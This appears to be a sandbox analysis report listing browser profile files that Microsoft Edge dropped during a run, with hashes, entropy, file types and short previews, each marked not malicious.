Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379378786757882","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379378791681180","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376880394436634","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\98a0268e-9d85-4a1f-b63a-ea63165e4d68.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7740809711164727
Encrypted:	false
SSDEEP:	96:te+Aui/8iWJ9KtsuQgSpqj9G9ey8fgEDXckO0L/ZJV8Y:tTiEiksrQgqY9G9enfdDXcf0L/ZJVb
MD5:	67E2A898F4FE4885DCE05DE1A8770111
SHA1:	B0C7ADA154727167A13D12E150044BF42D730176
SHA-256:	9953C51F5520178F53FACAA4238500FF900E599F97445A990BB0D43134B92E81
SHA-512:	F1323B307708E2AC22CFB124713465A5531515CDBD0F7B1F3C233641F8A5FD4FFA45D17128560486EC5A53BC04960EB5C2BD63C816666B6FB9069C723C55526E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	5.329905678365938
Encrypted:	false
SSDEEP:	48:YcgCzs1tsu1fcKsgleeBkBRsdCgHQbxo+:Fur1/keBkBaTQVo+
MD5:	26F8285A40F9C85692096C44743EC055
SHA1:	BA1405CAC7319A625186E18BCFD5CF0565B361CB
SHA-256:	D3E3C9E9B6B0DF3B47E114A8F0703E7E7287898371DB5C4F1FB04BCF8B889CB0
SHA-512:	BD22673A18644074733D54C539C81827AE9BF46CB0711638CF1E45ED4E23181B1232B2A36520E6DB5C852C1C26691EE08F8CC4D58789913D2808520BC9634749
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379378786757882","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379378791681180","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376880394436634","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.112295111436638
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9Wo:uIEumQv8m1ccnvS6F
MD5:	DE6A904A2D194858640D1C93EACA6477
SHA1:	107C37E91C6BE1C43A4B7A388C4AEE1298E93AA5
SHA-256:	973D58308D6FF5690688493F9C641C99F91A8DE8CD90811123703DEC809D4459
SHA-512:	FE0E2FD809032B102F2E556E6C970A2A333586C052B8AF89E0DB35C9DAA41A5CB6747AC2958B6024D59970E33EE1CCD66EF46F59853AE38715EE1E572FDCBF5A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39079.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a6d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a917ed2b-1257-4739-82c9-936316494e78.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ff8de70c-fcbb-47b4-9624-38b6e9f26660.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9711
Entropy (8bit):	5.119677582168791
Encrypted:	false
SSDEEP:	192:stckdpY+sdDsZihUk4ze8ubV+FXTQA66WQaFIMYAP7YJ:stcQTsdDfhtbGDQx6WQaTYV
MD5:	5E2DB8D6A4ADFA588BC706608A275AC6
SHA1:	36EBFE608526F4FCB83303CAA0C0BE8A43D4F169
SHA-256:	85C34E2A0B4E9789D052D9B5070637B78D87D7B0CD89858AB95865ED51287A92
SHA-512:	C0E89C1EC68A2AF29CC5D2CEA6A91E7EDBFD3485044FE7E39DFB4D081C0AB474D79F4C2C41AEF4DB7D221B49D442BB50D5992134743AAAACA8E47C582C3D132F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376786783423997","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d86f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9711
Entropy (8bit):	5.119677582168791
Encrypted:	false
SSDEEP:	192:stckdpY+sdDsZihUk4ze8ubV+FXTQA66WQaFIMYAP7YJ:stcQTsdDfhtbGDQx6WQaTYV
MD5:	5E2DB8D6A4ADFA588BC706608A275AC6
SHA1:	36EBFE608526F4FCB83303CAA0C0BE8A43D4F169
SHA-256:	85C34E2A0B4E9789D052D9B5070637B78D87D7B0CD89858AB95865ED51287A92
SHA-512:	C0E89C1EC68A2AF29CC5D2CEA6A91E7EDBFD3485044FE7E39DFB4D081C0AB474D79F4C2C41AEF4DB7D221B49D442BB50D5992134743AAAACA8E47C582C3D132F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376786783423997","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF41828.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9711
Entropy (8bit):	5.119677582168791
Encrypted:	false
SSDEEP:	192:stckdpY+sdDsZihUk4ze8ubV+FXTQA66WQaFIMYAP7YJ:stcQTsdDfhtbGDQx6WQaTYV
MD5:	5E2DB8D6A4ADFA588BC706608A275AC6
SHA1:	36EBFE608526F4FCB83303CAA0C0BE8A43D4F169
SHA-256:	85C34E2A0B4E9789D052D9B5070637B78D87D7B0CD89858AB95865ED51287A92
SHA-512:	C0E89C1EC68A2AF29CC5D2CEA6A91E7EDBFD3485044FE7E39DFB4D081C0AB474D79F4C2C41AEF4DB7D221B49D442BB50D5992134743AAAACA8E47C582C3D132F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376786783423997","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48d77.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9711
Entropy (8bit):	5.119677582168791
Encrypted:	false
SSDEEP:	192:stckdpY+sdDsZihUk4ze8ubV+FXTQA66WQaFIMYAP7YJ:stcQTsdDfhtbGDQx6WQaTYV
MD5:	5E2DB8D6A4ADFA588BC706608A275AC6
SHA1:	36EBFE608526F4FCB83303CAA0C0BE8A43D4F169
SHA-256:	85C34E2A0B4E9789D052D9B5070637B78D87D7B0CD89858AB95865ED51287A92
SHA-512:	C0E89C1EC68A2AF29CC5D2CEA6A91E7EDBFD3485044FE7E39DFB4D081C0AB474D79F4C2C41AEF4DB7D221B49D442BB50D5992134743AAAACA8E47C582C3D132F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376786783423997","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56718661037582
Encrypted:	false
SSDEEP:	768:uPgue4WPbLfTa8F1+UoAYDCx9Tuqh0VfUC9xbog/OVcZ/oArwGp7xtuo:uPgue4WPbLfTau1jaR1oxcxtn
MD5:	83709D5E5B75D2D05895C9A3984114E5
SHA1:	87F64FBC519B9A8767E73A007BCEAADFCFB2228E
SHA-256:	E856C1394B9E786C0F7382D20BAB56CEEA4D7CC64C9083FB81A4E0AB898527BF
SHA-512:	2D16FB10749966AE1371A511C06B6E01FF645D056CC18828AE5D0E289C9159C994535EBAFF8B714E42C069F700F2ADC02B09B2DF617E1451E523E2283AD8164B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376786782815092","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376786782815092","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3cde0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56718661037582
Encrypted:	false
SSDEEP:	768:uPgue4WPbLfTa8F1+UoAYDCx9Tuqh0VfUC9xbog/OVcZ/oArwGp7xtuo:uPgue4WPbLfTau1jaR1oxcxtn
MD5:	83709D5E5B75D2D05895C9A3984114E5
SHA1:	87F64FBC519B9A8767E73A007BCEAADFCFB2228E
SHA-256:	E856C1394B9E786C0F7382D20BAB56CEEA4D7CC64C9083FB81A4E0AB898527BF
SHA-512:	2D16FB10749966AE1371A511C06B6E01FF645D056CC18828AE5D0E289C9159C994535EBAFF8B714E42C069F700F2ADC02B09B2DF617E1451E523E2283AD8164B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376786782815092","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376786782815092","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.833838839822762
Encrypted:	false
SSDEEP:	24:F2xc5NmVcncmo0CRORpllg2DAfRHTVdCRORpllg2Sc03osxbKCRORpllg2DrRHTK:F2em2trdDAfBpXrdYxSrdDrBurdgB4
MD5:	33F38C142266E93ED64466A660766E58
SHA1:	7E5BCDC2C6F3388774366648A76AE58653F788B0
SHA-256:	ABFA86E686865B081754858B97BD73DDA6DA51BFDEA450211908D8F59CDB3D83
SHA-512:	6699183DFBFDE21A7D134C32C436C244A78638A12CE70E0D295DF810867D4BCCE5131F671EFBEFCBE4261C7E34221B0FC58C8F9F14DCD5168D5597D6E01F4603
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2...tm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.188442742117883
Encrypted:	false
SSDEEP:	6:HnnR1923oH+TcwtE/a252KLlV8VVTFYU+q2P923oH+TcwtE/a2ZIFUv:Hn8Yeb8xLUJ2v4Yeb8J2FUv
MD5:	85FFC121D1C2881DA277E314D8186CA2
SHA1:	A8B00BBAEF51B9901DE90749CD1DFC3DACEA7591
SHA-256:	7721CCB231EDC3B1881B20FB1C9718B675BC58112CBDAD9941E682C4565CCE00
SHA-512:	B88FA3D40DB23274C73928C39522993ED28C7405AD2AE305F446E686F6C369D843DC24280BC0E3B6A2FEBC3640A899EE65AA00238CBB6BE327A4626DE5F6D634
Malicious:	false
Preview:	2024/11/22-17:06:38.985 1de8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/22-17:06:39.006 1de8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.577512846450616
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYg87y:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFKy
MD5:	A523AB24CDC5D5DDE29B7B269C0F8F0E
SHA1:	9092B6911658E561B889AB2867C8AD6DB3C0B030
SHA-256:	6FE720F2C0AE54D5756FDC7CCE643C372007FC0EE87578BBF7FA479D92DE7423
SHA-512:	51134CFACDE114D73F872D251C176D6DB242E372FF3DDC1B34E174F411B49CC76F4E4950EB3BF0266C599AB20DACD4BF91D736B9C444517714E486360C54F552
Malicious:	false
